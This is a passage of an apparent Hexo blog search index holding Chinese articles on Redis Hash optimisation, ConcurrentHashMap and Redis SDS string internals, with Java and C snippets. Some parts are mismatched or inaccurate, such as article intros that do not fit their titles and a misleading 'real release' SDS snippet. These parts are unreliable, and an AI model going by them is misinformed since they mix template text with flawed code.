class="type">Long</span> <span class="variable">newQty</span> <span class="operator">=</span> redis.hincrBy(key, field, quantity);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (newQty &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">            redis.hdel(key, field);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 设置过期时间</span></span><br><span class="line">        redis.expire(key, CART_EXPIRE_DAYS * <span class="number">86400</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Map&lt;Long, Integer&gt; <span class="title function_">getCart</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;cart:&quot;</span> + userId;</span><br><span class="line">        Map&lt;String, String&gt; entries = redis.hgetAll(key);</span><br><span class="line">        </span><br><span class="line">        Map&lt;Long, Integer&gt; cart = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        entries.forEach((k, v) -&gt; cart.put(Long.valueOf(k), Integer.valueOf(v)));</span><br><span class="line">        <span class="keyword">return</span> cart;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clearCart</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        redis.del(<span class="string">&quot;cart:&quot;</span> + userId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-配置中心优化"><a href="#7-2-配置中心优化" class="headerlink" title="7.2 配置中心优化"></a>7.2 配置中心优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConfigManager</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">CONFIG_KEY</span> <span class="operator">=</span> <span class="string">&quot;app:config&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 加载配置到Redis</span></span><br><span class="line">        Map&lt;String, String&gt; configs = loadFromDB();</span><br><span class="line">        redis.hsetAll(CONFIG_KEY, configs);</span><br><span class="line">        redis.expire(CONFIG_KEY, <span class="number">3600</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getConfig</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> redis.hget(CONFIG_KEY, key);</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 回查数据库</span></span><br><span class="line">            value = db.queryConfig(key);</span><br><span class="line">            <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">                redis.hset(CONFIG_KEY, key, value);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateConfig</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">        db.updateConfig(key, value);</span><br><span class="line">        redis.hset(CONFIG_KEY, key, value);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、常见问题"><a href="#八、常见问题" class="headerlink" title="八、常见问题"></a>八、常见问题</h2><p>#</p><h2 id="8-1-Hash的字段数量限制"><a href="#8-1-Hash的字段数量限制" class="headerlink" title="8.1 Hash的字段数量限制"></a>8.1 Hash的字段数量限制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">理论限制：约40亿个字段（2^32 - 1）</span><br><span class="line">实际限制：内存大小</span><br><span class="line"></span><br><span class="line">建议：单个Hash不超过1000个字段（保持ziplist编码）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-HGETALL的性能问题"><a href="#8-2-HGETALL的性能问题" class="headerlink" title="8.2 HGETALL的性能问题"></a>8.2 HGETALL的性能问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 大Hash使用HGETALL会阻塞Redis</span></span><br><span class="line">Map&lt;String, String&gt; all = redis.hgetAll(<span class="string">&quot;big:hash&quot;</span>);  <span class="comment">// 危险！</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 替代方案：使用HSCAN渐进遍历</span></span><br><span class="line">Cursor&lt;Map.Entry&lt;String, String&gt;&gt; cursor = redis.opsForHash()</span><br><span class="line">    .scan(<span class="string">&quot;big:hash&quot;</span>, ScanOptions.scanOptions().count(<span class="number">100</span>).build());</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (cursor.hasNext()) &#123;</span><br><span class="line">    Map.Entry&lt;String, String&gt; entry = cursor.next();</span><br><span class="line">    processEntry(entry);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-Hash过期问题"><a href="#8-3-Hash过期问题" class="headerlink" title="8.3 Hash过期问题"></a>8.3 Hash过期问题</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Hash只能对整个key设置过期，不能对单个字段设置</span></span><br><span class="line">EXPIRE user:1001 3600  <span class="comment"># 整个Hash过期</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如需字段级过期，需要额外设计</span></span><br><span class="line"><span class="comment"># 方案一：使用ZSet存储过期时间</span></span><br><span class="line"><span class="comment"># 方案二：应用层判断过期</span></span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>特性</th><th>Ziplist</th><th>Hashtable</th></tr></thead><tbody><tr><td>内存占用</td><td>低</td><td>高</td></tr><tr><td>读写性能</td><td>小数据量优</td><td>大数据量优</td></tr><tr><td>查找复杂度</td><td>O(n)</td><td>O(1)</td></tr><tr><td>插入开销</td><td>可能需要内存重分配</td><td>可能需要rehash</td></tr><tr><td>适用场景</td><td>字段少、值小</td><td>字段多、值大</td></tr></tbody></table><p>Hash优化核心要点：</p><ol><li><strong>保持ziplist编码</strong>：控制字段数量和值大小</li><li><strong>避免大Hash</strong>：单个Hash不超过1000字段</li><li><strong>分片存储</strong>：大数据量分多个Hash</li><li><strong>使用HSCAN</strong>：避免HGETALL大Hash</li><li><strong>合理设置阈值</strong>：根据实际数据调整hash-max-ziplist-*</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis String底层结构与SDS</title>
      <link href="//redis-string-sds-structure/"/>
      <url>//redis-string-sds-structure/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-String底层结构与SDS"><a href="#Redis-String底层结构与SDS" class="headerlink" title="Redis String底层结构与SDS"></a>Redis String底层结构与SDS</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、为什么不用C字符串"><a href="#一、为什么不用C字符串" class="headerlink" title="一、为什么不用C字符串"></a>一、为什么不用C字符串</h2><p>#</p><h2 id="1-1-C字符串的缺陷"><a href="#1-1-C字符串的缺陷" class="headerlink" title="1.1 C字符串的缺陷"></a>1.1 C字符串的缺陷</h2><p>C语言使用<code>\0</code>结尾的字符数组表示字符串：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> str[] = <span class="string">&quot;hello&quot;</span>;  <span class="comment">// h-e-l-l-o-\0</span></span><br></pre></td></tr></table></figure><p><strong>缺陷一：获取长度O(n)</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="built_in">strlen</span>(str);  <span class="comment">// 需要遍历到\0，O(n)</span></span><br></pre></td></tr></table></figure><p><strong>缺陷二：缓冲区溢出</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> str[<span class="number">5</span>] = <span class="string">&quot;hello&quot;</span>;</span><br><span class="line"><span class="built_in">strcat</span>(str, <span class="string">&quot; world&quot;</span>);  <span class="comment">// 越界写入，未定义行为</span></span><br></pre></td></tr></table></figure><p><strong>缺陷三：频繁内存分配</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 每次修改字符串长度，可能需要重新分配内存</span></span><br><span class="line"><span class="type">char</span> *str = <span class="built_in">malloc</span>(<span class="number">6</span>);</span><br><span class="line"><span class="built_in">strcat</span>(str, <span class="string">&quot;!&quot;</span>);  <span class="comment">// 需要realloc</span></span><br></pre></td></tr></table></figure><p><strong>缺陷四：二进制不安全</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不能包含\0字符</span></span><br><span class="line"><span class="type">char</span> str[] = <span class="string">&quot;he\0llo&quot;</span>;  <span class="comment">// strlen返回2，实际想存6字节</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-SDS的设计目标"><a href="#1-2-SDS的设计目标" class="headerlink" title="1.2 SDS的设计目标"></a>1.2 SDS的设计目标</h2><p>Redis需要一种更安全、更高效的字符串结构：</p><ul><li>O(1)获取长度</li><li>避免缓冲区溢出</li><li>减少内存分配次数</li><li>支持二进制数据</li></ul><h2 id="二、SDS结构"><a href="#二、SDS结构" class="headerlink" title="二、SDS结构"></a>二、SDS结构</h2><p>#</p><h2 id="2-1-SDS定义"><a href="#2-1-SDS定义" class="headerlink" title="2.1 SDS定义"></a>2.1 SDS定义</h2><p>Redis 3.2之后，SDS根据字符串长度使用不同头部结构：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// sdshdr5（不再使用，但保留定义）</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr5</span> &#123;</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> flags;  <span class="comment">// 低3位存类型，高5位存长度</span></span><br><span class="line">    <span class="type">char</span> buf[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// sdshdr8（长度&lt;256）</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr8</span> &#123;</span></span><br><span class="line">    <span class="type">uint8_t</span> len;        <span class="comment">// 已使用长度</span></span><br><span class="line">    <span class="type">uint8_t</span> alloc;      <span class="comment">// 分配的总长度（不含头部和\0）</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> flags; <span class="comment">// 标志位</span></span><br><span class="line">    <span class="type">char</span> buf[];         <span class="comment">// 柔性数组，实际数据</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// sdshdr16（长度&lt;65536）</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr16</span> &#123;</span></span><br><span class="line">    <span class="type">uint16_t</span> len;</span><br><span class="line">    <span class="type">uint16_t</span> alloc;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> flags;</span><br><span class="line">    <span class="type">char</span> buf[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// sdshdr32</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr32</span> &#123;</span></span><br><span class="line">    <span class="type">uint32_t</span> len;</span><br><span class="line">    <span class="type">uint32_t</span> alloc;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> flags;</span><br><span class="line">    <span class="type">char</span> buf[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// sdshdr64</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr64</span> &#123;</span></span><br><span class="line">    <span class="type">uint64_t</span> len;</span><br><span class="line">    <span class="type">uint64_t</span> alloc;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> flags;</span><br><span class="line">    <span class="type">char</span> buf[];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-SDS内存布局"><a href="#2-2-SDS内存布局" class="headerlink" title="2.2 SDS内存布局"></a>2.2 SDS内存布局</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sdshdr8 示例（存储&quot;Redis&quot;）：</span><br><span class="line">┌─────────┬─────────┬─────────┬──────┬─────┐</span><br><span class="line">│  len=5  │ alloc=5 │ flags=1 │ R-e-d-i-s │ \0 │</span><br><span class="line">└─────────┴─────────┴─────────┴──────┴─────┘</span><br><span class="line">  1字节    1字节     1字节     5字节   1字节</span><br><span class="line"></span><br><span class="line">总内存：1 + 1 + 1 + 5 + 1 = 9字节</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：<code>buf</code>末尾仍然以<code>\0</code>结尾，这样可以复用部分C字符串函数。</p><p>#</p><h2 id="2-3-SDS操作API"><a href="#2-3-SDS操作API" class="headerlink" title="2.3 SDS操作API"></a>2.3 SDS操作API</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 创建SDS</span></span><br><span class="line">sds <span class="title function_">sdsnew</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *init)</span>;</span><br><span class="line">sds <span class="title function_">sdsnewlen</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *init, <span class="type">size_t</span> initlen)</span>;</span><br><span class="line">sdsempty(<span class="type">void</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 释放</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">sdsfree</span><span class="params">(sds s)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取长度（O(1)）</span></span><br><span class="line"><span class="type">size_t</span> <span class="title function_">sdslen</span><span class="params">(<span class="type">const</span> sds s)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取可用空间</span></span><br><span class="line"><span class="type">size_t</span> <span class="title function_">sdsavail</span><span class="params">(<span class="type">const</span> sds s)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 扩容</span></span><br><span class="line">sds <span class="title function_">sdsMakeRoomFor</span><span class="params">(sds s, <span class="type">size_t</span> addlen)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 追加</span></span><br><span class="line">sds <span class="title function_">sdscat</span><span class="params">(sds s, <span class="type">const</span> <span class="type">char</span> *t)</span>;</span><br><span class="line">sds <span class="title function_">sdscatsds</span><span class="params">(sds s, <span class="type">const</span> sds t)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 范围清除（惰性释放）</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">sdsclear</span><span class="params">(sds s)</span>;</span><br></pre></td></tr></table></figure><h2 id="三、SDS核心设计"><a href="#三、SDS核心设计" class="headerlink" title="三、SDS核心设计"></a>三、SDS核心设计</h2><p>#</p><h2 id="3-1-空间预分配"><a href="#3-1-空间预分配" class="headerlink" title="3.1 空间预分配"></a>3.1 空间预分配</h2><p>SDS修改字符串时，不仅分配需要的空间，还会预分配额外空间：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">sds <span class="title function_">sdsMakeRoomFor</span><span class="params">(sds s, <span class="type">size_t</span> addlen)</span> &#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">sdshdr</span> *<span class="title">sh</span> =</span> (<span class="type">void</span>*)(s - <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sdshdr));</span><br><span class="line">    <span class="type">size_t</span> <span class="built_in">free</span> = sdsavail(s);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 空间足够，直接返回</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">free</span> &gt;= addlen) <span class="keyword">return</span> s;</span><br><span class="line">    </span><br><span class="line">    <span class="type">size_t</span> len = sdslen(s);</span><br><span class="line">    <span class="type">size_t</span> newlen = len + addlen;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 预分配策略</span></span><br><span class="line">    <span class="keyword">if</span> (newlen &lt; SDS_MAX_PREALLOC) &#123;</span><br><span class="line">        <span class="comment">// 小于1MB，分配2倍空间</span></span><br><span class="line">        newlen *= <span class="number">2</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 大于1MB，额外分配1MB</span></span><br><span class="line">        newlen += SDS_MAX_PREALLOC;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 重新分配内存</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>策略</strong>：</p><ul><li>修改后长度 &lt; 1MB：分配2倍所需空间</li><li>修改后长度 &gt;= 1MB：额外分配1MB</li></ul><p><strong>优势</strong>：</p><ul><li>减少内存分配次数（从N次降到logN次）</li><li>均摊时间复杂度接近O(1)</li></ul><p>#</p><h2 id="3-2-惰性释放"><a href="#3-2-惰性释放" class="headerlink" title="3.2 惰性释放"></a>3.2 惰性释放</h2><p>SDS缩短字符串时，不立即释放内存：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sdsclear</span><span class="params">(sds s)</span> &#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">sdshdr</span> *<span class="title">sh</span> =</span> (<span class="type">void</span>*)(s - <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sdshdr));</span><br><span class="line">    sh-&gt;len = <span class="number">0</span>;           <span class="comment">// 长度设为0</span></span><br><span class="line">    sh-&gt;buf[<span class="number">0</span>] = <span class="string">&#x27;\0&#x27;</span>;     <span class="comment">// 第一个字符设为\0</span></span><br><span class="line">    <span class="comment">// 注意：alloc不变，空间不释放！</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>后续追加操作可能不需要重新分配内存</li><li>避免频繁的内存分配和释放</li></ul><p><strong>真正释放</strong>：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">sds = sdscatsds(sds, <span class="string">&quot;&quot;</span>);  <span class="comment">// 需要时可以用sdstrim或重新创建</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-二进制安全"><a href="#3-3-二进制安全" class="headerlink" title="3.3 二进制安全"></a>3.3 二进制安全</h2><p>SDS可以存储任意二进制数据：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">sds binary = sdsnewlen(<span class="string">&quot;\x00\x01\x02\x03&quot;</span>, <span class="number">4</span>);</span><br><span class="line"><span class="comment">// len=4，不受\0影响</span></span><br><span class="line"></span><br><span class="line">sdslen(binary);  <span class="comment">// 返回4，不是0</span></span><br></pre></td></tr></table></figure><p>因为SDS通过<code>len</code>字段记录长度，而不是依赖<code>\0</code>。</p><h2 id="四、RedisObject编码"><a href="#四、RedisObject编码" class="headerlink" title="四、RedisObject编码"></a>四、RedisObject编码</h2><p>#</p><h2 id="4-1-Redis对象系统"><a href="#4-1-Redis对象系统" class="headerlink" title="4.1 Redis对象系统"></a>4.1 Redis对象系统</h2><p>Redis所有数据都封装在<code>redisObject</code>中：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">redisObject</span> &#123;</span></span><br><span class="line">    <span class="type">unsigned</span> type:<span class="number">4</span>;        <span class="comment">// 数据类型（String/List/Hash/Set/ZSet）</span></span><br><span class="line">    <span class="type">unsigned</span> encoding:<span class="number">4</span>;    <span class="comment">// 编码方式</span></span><br><span class="line">    <span class="type">unsigned</span> lru:LRU_BITS;  <span class="comment">// LRU时间或LFU计数</span></span><br><span class="line">    <span class="type">int</span> refcount;           <span class="comment">// 引用计数</span></span><br><span class="line">    <span class="type">void</span> *ptr;              <span class="comment">// 指向实际数据</span></span><br><span class="line">&#125; robj;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-String的编码方式"><a href="#4-2-String的编码方式" class="headerlink" title="4.2 String的编码方式"></a>4.2 String的编码方式</h2><table><thead><tr><th>编码</th><th>说明</th><th>转换条件</th></tr></thead><tbody><tr><td>OBJ_ENCODING_RAW</td><td>SDS</td><td>字符串长度 &gt; 44字节</td></tr><tr><td>OBJ_ENCODING_EMBSTR</td><td>嵌入式SDS</td><td>字符串长度 &lt;= 44字节</td></tr><tr><td>OBJ_ENCODING_INT</td><td>整数</td><td>可以表示为long的字符串</td></tr></tbody></table><p>#</p><h2 id="4-3-EMBSTR编码"><a href="#4-3-EMBSTR编码" class="headerlink" title="4.3 EMBSTR编码"></a>4.3 EMBSTR编码</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">EMBSTR内存布局（redisObject + sdshdr + 数据 连续内存）：</span><br><span class="line">┌────────────────┬────────────────┬─────────────┐</span><br><span class="line">│  redisObject   │   sdshdr8      │  buf + \0  │</span><br><span class="line">│  (16字节)      │   (3字节)      │             │</span><br><span class="line">└────────────────┴────────────────┴─────────────┘</span><br><span class="line">               连续分配，只需一次malloc</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>只需一次内存分配</li><li>释放时也只需一次free</li><li>更好的缓存局部性</li></ul><p><strong>为什么是44字节？</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">64字节（jemalloc最小分配单位） - 16字节(redisObject) - 3字节(sdshdr8) - 1字节(\0) = 44字节</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-INT编码"><a href="#4-4-INT编码" class="headerlink" title="4.4 INT编码"></a>4.4 INT编码</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果字符串可以解析为long类型</span></span><br><span class="line">robj *<span class="title function_">createStringObjectFromLongLong</span><span class="params">(<span class="type">long</span> <span class="type">long</span> value)</span> &#123;</span><br><span class="line">    robj *o;</span><br><span class="line">    <span class="comment">// 小整数复用共享对象（0-9999）</span></span><br><span class="line">    <span class="keyword">if</span> (value &gt;= <span class="number">0</span> &amp;&amp; value &lt; OBJ_SHARED_INTEGERS) &#123;</span><br><span class="line">        o = shared.integers[value];</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        o = createObject(OBJ_STRING, <span class="literal">NULL</span>);</span><br><span class="line">        o-&gt;encoding = OBJ_ENCODING_INT;</span><br><span class="line">        o-&gt;ptr = (<span class="type">void</span>*)((<span class="type">long</span>)value);  <span class="comment">// 直接存值，不分配内存！</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> o;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>不额外分配内存</li><li>ptr直接存储整数值</li></ul><p>#</p><h2 id="4-5-编码转换"><a href="#4-5-编码转换" class="headerlink" title="4.5 编码转换"></a>4.5 编码转换</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SET num &quot;12345&quot;        → INT编码</span><br><span class="line">APPEND num &quot;abc&quot;       → 转换为RAW编码（因为不再是纯数字）</span><br><span class="line"></span><br><span class="line">SET str &quot;short&quot;        → EMBSTR编码（&lt;=44字节）</span><br><span class="line">APPEND str &quot;...&quot;       → 如果超过44字节，转换为RAW编码</span><br></pre></td></tr></table></figure><h2 id="五、String命令的实现"><a href="#五、String命令的实现" class="headerlink" title="五、String命令的实现"></a>五、String命令的实现</h2><p>#</p><h2 id="5-1-SET命令"><a href="#5-1-SET命令" class="headerlink" title="5.1 SET命令"></a>5.1 SET命令</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">setCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *expire = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="type">int</span> unit = UNIT_SECONDS;</span><br><span class="line">    <span class="comment">// ... 解析选项 ...</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 创建或查找key</span></span><br><span class="line">    setKey(c-&gt;db, c-&gt;argv[<span class="number">1</span>], c-&gt;argv[<span class="number">2</span>]);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 设置过期时间</span></span><br><span class="line">    <span class="keyword">if</span> (expire) setExpire(c, c-&gt;db, c-&gt;argv[<span class="number">1</span>], milliseconds);</span><br><span class="line">    </span><br><span class="line">    addReply(c, ok ? shared.ok : shared.err);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-INCR命令"><a href="#5-2-INCR命令" class="headerlink" title="5.2 INCR命令"></a>5.2 INCR命令</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">incrCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyWrite(c-&gt;db, c-&gt;argv[<span class="number">1</span>]);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (o &amp;&amp; o-&gt;encoding == OBJ_ENCODING_RAW) &#123;</span><br><span class="line">        <span class="comment">// 尝试转换为INT编码</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (o &amp;&amp; o-&gt;encoding == OBJ_ENCODING_INT) &#123;</span><br><span class="line">        <span class="type">long</span> value = (<span class="type">long</span>)o-&gt;ptr;</span><br><span class="line">        value++;  <span class="comment">// 直接对ptr操作，极快！</span></span><br><span class="line">        o-&gt;ptr = (<span class="type">void</span>*)value;</span><br><span class="line">    &#125;</span><br><span 